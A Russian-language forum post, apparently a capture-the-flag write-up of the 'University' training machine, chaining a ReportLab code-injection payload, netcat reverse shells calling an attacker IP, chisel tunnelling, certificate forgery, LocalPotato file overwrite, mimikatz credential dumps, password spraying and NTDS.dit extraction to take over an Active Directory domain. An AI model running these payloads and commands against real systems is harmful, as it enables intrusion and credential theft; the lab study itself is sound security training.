• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем LocalPotato, чтобы поднять привилегии в Active Directory

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,311
Розыгрыши
0
Реакции
591
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как использовать уязвимость LocalPotato для повышения прав в Active Directory. Но и помимо этого нас ждет много интересного: доступ в сеть мы получим через RCE в ReportLab, извлечем учетные данные пользователя и будем продвигаться по сети с машины на машину, а в конце скомпрометируем весь домен.
Наша конечная цель — получение прав суперпользователя на машине University с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — «безумный».

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.39 univerity.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 80 (HTTP) — веб‑сервер Nginx 1.24.0;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 2179 — неизвестная служба;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM.
На веб‑сервере нас встречает обучающая платформа.

Главная страница сайта

Точка входа​

На сайте есть возможность регистрации аккаунта как студента, так и преподавателя.

Меню сайта

При создании учетки преподавателя нас предупреждают о том, что потребуется подтверждение по электронной почте. При регистрации аккаунта студента никакого подтверждения не нужно.

Форма регистрации преподавателя

Авторизоваться можно не только по логину и паролю, но еще и по сертификату.

Форма авторизации

Регистрируемся и авторизуемся как пользователь. На главной странице есть форма для загрузки своего CSR-сертификата.

Главная страница пользователя

Посмотрим профиль пользователя: обычно там много полей, которые необходимо протестировать на наличие уязвимостей. Нужно проверить все строки описания и загрузки аватарки.

Профиль пользователя

По ходу дела отмечаем, что профиль пользователя можно экспортировать как PDF. После экспорта выясним, какой программой создан файл, — это может быть ключом к будущей атаке. Посмотрим метаданные:

exiftool profile.pdf
Метаданные скачанного файла

В поле Producer есть даже ссылка на библиотеку Для просмотра ссылки Войди или Зарегистрируйся. Первым делом стоит проверить, есть ли для нее готовые эксплоиты, в этом поможет Google.

Поиск эксплоитов в Google

Первая же ссылка ведет на Для просмотра ссылки Войди или Зарегистрируйся для уязвимости Для просмотра ссылки Войди или Зарегистрируйся. Так, ReportLab до версии 3.6.12 позволяет выполнить произвольный код при создании PDF-файла.


Точка опоры​

Протестируем найденный эксплоит. Берем PoC из репозитория и вставляем команду для загрузки netcat:

curl 10.10.16.89:8000
Нагрузку сохраняем в поле Bio.

Код:
<para><font color="[[[getattr(pow, Word('globals'))['os'].system('curl 10.10.16.89:8000/nc.exe -o C:\\Windows\\Tasks\\nc.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, 'eq': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, 'hash': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

Сохранение нагрузки

После экспорта профиля в PDF на листенер nc -nlvp 8000 приходит отстук, а значит, команда выполнена.

Логи netcat

Теперь повторим все действия, но одним экспортом будем загружать netcat.exe со своей машины, а вторым — выполнять реверс‑шелл.

Загрузка netcat.exe:

curl 10.10.16.89:8000/nc.exe -o C:\\Windows\\Tasks\\nc.exe
Выполнение реверс‑шелла:

C:\\Windows\\Tasks\\nc.exe 10.10.16.89 4321 -e cmd.exe
Сессия пользователя wao

Осматриваемся на хосте и находим каталог веб‑сайта C:\Web\University. При этом у нас есть право читать файлы.

Содержимое каталога University

Отметим файл базы данных db.sqlite3, а также обратим внимание на каталог с бэкапами C:\Web\DB Backups.

Содержимое каталога DB Backups

В каталоге есть PowerShell-скрипт db-backup-automator.ps1 для копирования файлов, а в самом скрипте — учетные данные в открытом виде.

Содержимое файла db-backup-automator.ps1

С полученными учетными данными авторизуемся в службе WinRM через Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -u 'WAO' -p 'WebAO1337' -i 10.10.11.39
Сессия пользователя wao

Продвижение на WS-3​

Во внутренней сети удалось найти еще две машины, к которым мы можем подключиться от имени пользователя wao:

  • Linux-хост LAB-2 — 192.168.99.12;
  • Windows-клиент WS-3 — 192.168.99.2.
Для получения доступа к этим хостам необходимо построить SOCKS-туннель с помощью Для просмотра ссылки Войди или Зарегистрируйся. На своем хосте запустим серверную часть.

chisel.bin server --port 8888 --reverse
На машине DC запускаем клиентскую часть.

chisel.exe 10.10.16.89:8888 R:socks
На машинах ничего интересного не находим, поэтому продолжаем упражняться с контроллером домена. Скачиваем файл базы данных, где есть логины и хеши паролей. Отметим уже существующие учетные записи преподавателей.

Содержимое базы данных

Хеши сбрутить не вышло, поэтому пришлось вернуться к идее авторизации по сертификату. Сертификаты скачиваем из каталога с говорящим названием CA.

Сертификаты и ключи

У нас есть сертификат для подписи, поэтому сгенерируем PEM-сертификат для пользователя george с почтой george@university.htb.

Код:
openssl req -newkey rsa:2048 -keyout george.key -out george.csr
openssl x509 -req -in george.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out george.pem -days 365

Создание сертификата

После авторизации по сертификату через веб‑форму получаем доступ к профилю преподавателя.

Профиль пользователя

При переходе к странице создания курса мы будем переброшены на страницу Request a signed certificate, где нам нужно загрузить CSR-сертификат пользователя.

Страница загрузки CSR

После загрузки сертификата повторно переходим к странице создания курса. На этот раз нам доступна эта возможность.

Страница создания курса

Заполняем все поля тестовыми данными и получаем новую страницу, где мы можем добавлять в курс уроки.

Страница курса

На странице добавления лекции есть подробная информация о загружаемом файле. Это должен быть подписанный ZIP-архив, при этом все файлы DOCX, PPTX, PDF и URL проверяются. Также нам дана команда для подписи архива.

Страница добавления лекции
Файл .url представляет собой ссылку на файл или приложение, которое будет запущено. Мы можем на хосте WS-3, где проверяются файлы лекции, создать bat-файл с реверс‑шеллом на машину LAB-2, а на машине LAB-2 запустить листенер nc -nlvp 4321.

C:\Windows\Tasks\nc.exe -e cmd.exe 192.168.99.12 4321
Затем создаем ZIP-архив с файлом .url, который будет ссылаться на созданный bat-файл с реверс‑шеллом. Содержимое .url будет следующим:

Код:
[InternetShortcut]
URL=C:\Windows\Tasks\rs.bat

ZIP создан, займемся его подписью. Первым делом создадим ключи GPG. При создании важно указать имя пользователя и его электронную почту. Затем экспортируем ключ пользователя в файл.

Код:
gpg --full-generate-key
gpg --export -a 'george' > george.asc
Создание ключей GPG

Экспортированный ключ загружаем на сайт на странице GPG key upload. Он будет использован для проверки подписи загружаемых лекций.

Страница загрузки GPG-ключей

Теперь подписываем ZIP и загружаем на странице загрузки лекций.

gpg -u george --detach-sign rs.zip
Страница загрузки лекций

В течение минуты на листенере LAB-2 получаем сессию пользователя martin.t.

Сессия пользователя

С рабочего стола пользователя забираем первый флаг.

Флаг пользователя

Локальное повышение привилегий на WS-3​

В файле README.txt на рабочем столе — большое сообщение, из которого можно узнать, что система не обновлялась с 2023 года. Я перепробовал несколько эксплоитов, но это не дало результата. Поэтому проводим обычную разведку на хосте и в каталоге C:\Program Files находим скрипты Automation-Scripts.

Содержимое каталога Automation-Scripts

Один скрипт мы можем прочитать, а на другой нет соответствующих прав.

Чтение файла get-lectures.ps1
Чтение файла wpad-cache-cleaner.ps1

Скрипт get-lectures.ps1 как раз служит для проверки лекций, загруженных на сайт. А значит, он, вероятнее всего, запускается через планировщик задач. Проверим созданные на хосте задачи.

powershell Get-ScheduledTask
Список задач

Нужно получить полное имя первой задачи из свойства TaskName.

powershell "Get-ScheduledTask | Select-Object -ExpandProperty TaskName"
Полные имена задач

Теперь посмотрим, что делает задача Content Evaluator(Professor Simulator).

powershell "(Get-ScheduledTask -TaskName 'Content Evaluator(Professor Simulator)').Actions"
Информация о задаче

На хосте LAB-2 запустим листенер (nc -nlvp 4321) и перезапишем содержимое скрипта get-lectures.ps1 на реверс‑шелл с помощью эксплоита Для просмотра ссылки Войди или Зарегистрируйся.

LocalPotato.exe -i rs.ps1 -o "C:\Program Files\Automation-Scripts\get-lectures.ps1"
Результат выполнения эксплоита

Файл перезаписан, а мы получаем реверс‑шелл от имени пользователя martin.t.

Сессия пользователя

Мы и так работаем в контексте этого пользователя, поэтому он нам неинтересен. Попробуем перезаписать скрипт wpad-cache-cleaner.ps1, к которому у нас нет доступа.

LocalPotato.exe -i rs.ps1 -o "C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
Результат выполнения эксплоита

На листенере опять получаем сессию, однако на этот раз от имени локального администратора.

Сессия пользователя

Постэксплуатация​

Теперь у нас есть сессия администратора на хосте и мы можем сдампить локальные учетные данные. Из файла SAM можно извлечь зашифрованные хеши паролей учетных записей, а из SYSTEM — ключи для расшифровки этих хешей. Скопируем файлы из реестра HKLM.

Код:
reg save hklm\sam .\sam
reg save hklm\system .\system

А затем используем известную утилиту Для просмотра ссылки Войди или Зарегистрируйся для получения локальных учетных данных.

.\mimi.exe "lsadump::sam /sam:sam /system:system"
Дамп учетных данных

Хеш никуда применить не смогли, поэтому проверим файл SECURITY, из которого можно получить локальные секреты и пароли для запуска служб.

Код:
reg save hklm\security .\security
.\mimi.exe "lsadump::secrets /security:security /system:system"

Результат разбора файла SECURITY

Получаем один пароль, который спреим по пользователям домена. В итоге получаем много учеток, с которыми нам предстоит разобраться дальше.

nxc smb 10.10.11.39 -u users.txt -p 'v3ryS0l!dP@sswd#X' --continue-on-success
Результат перебора логинов

Повышение привилегий в домене​

Среди скомпрометированных пользователей внимание на себя обращает Browse.W, так как BloodHound пометил его маркером High Value. Этот маркер говорит о том, что объект привилегированный и позволяет скомпрометировать весь домен.

Граф BloodHound

Строим граф от учетной записи пользователя и видим, что он состоит в группе Backup Operators.

Граф BloodHound

Члены этой группы могут выполнять резервное копирование и восстановление файлов и каталогов, расположенных на контроллере домена. Сдампим из реестра файлы SAM и SYSTEM.

Код:
reg save hklm\sam .\sam
reg save hklm\system .\system

Затем перенесем их на свою машину и распарсим учетные данные.

Код:
secretsdump.py -system system -sam sam LOCAL
Учетные данные локальных пользователей
Однако войти как локальный админ не удалось.

nxc smb 10.10.11.39 -u 'Administrator' -H e1ab6bc4d7d84111fe3e0fb271de1e0b --local-auth
Проверка учетных данных

Тогда выполним резервное копирование базы NTDS.DIT, которая содержит информацию обо всех учетных записях домена, включая хеши паролей. Будем использовать утилиту diskshadow. Сперва создадим скрипт с инструкциями для создания теневой копии.

Код:
set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias temp
create
expose %temp% z:

Затем выполним резервное копирование.

Код:
mkdir c:\exfil
diskshadow.exe /s shadow.txt
Теневое копирование с diskshadow
Сохраняем на свою машину файл z:\windows\ntds\ntds.dit и парсим скриптом secretsdump.

secretsdump.py -system system -sam sam -ntds ntds LOCAL
Учетные данные пользователей домена

Авторизуемся от имени администратора домена и забираем последний флаг.

evil-winrm -i 10.10.11.39 -u Administrator -H e63413bab01a0b8820983496c0be3a9a
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here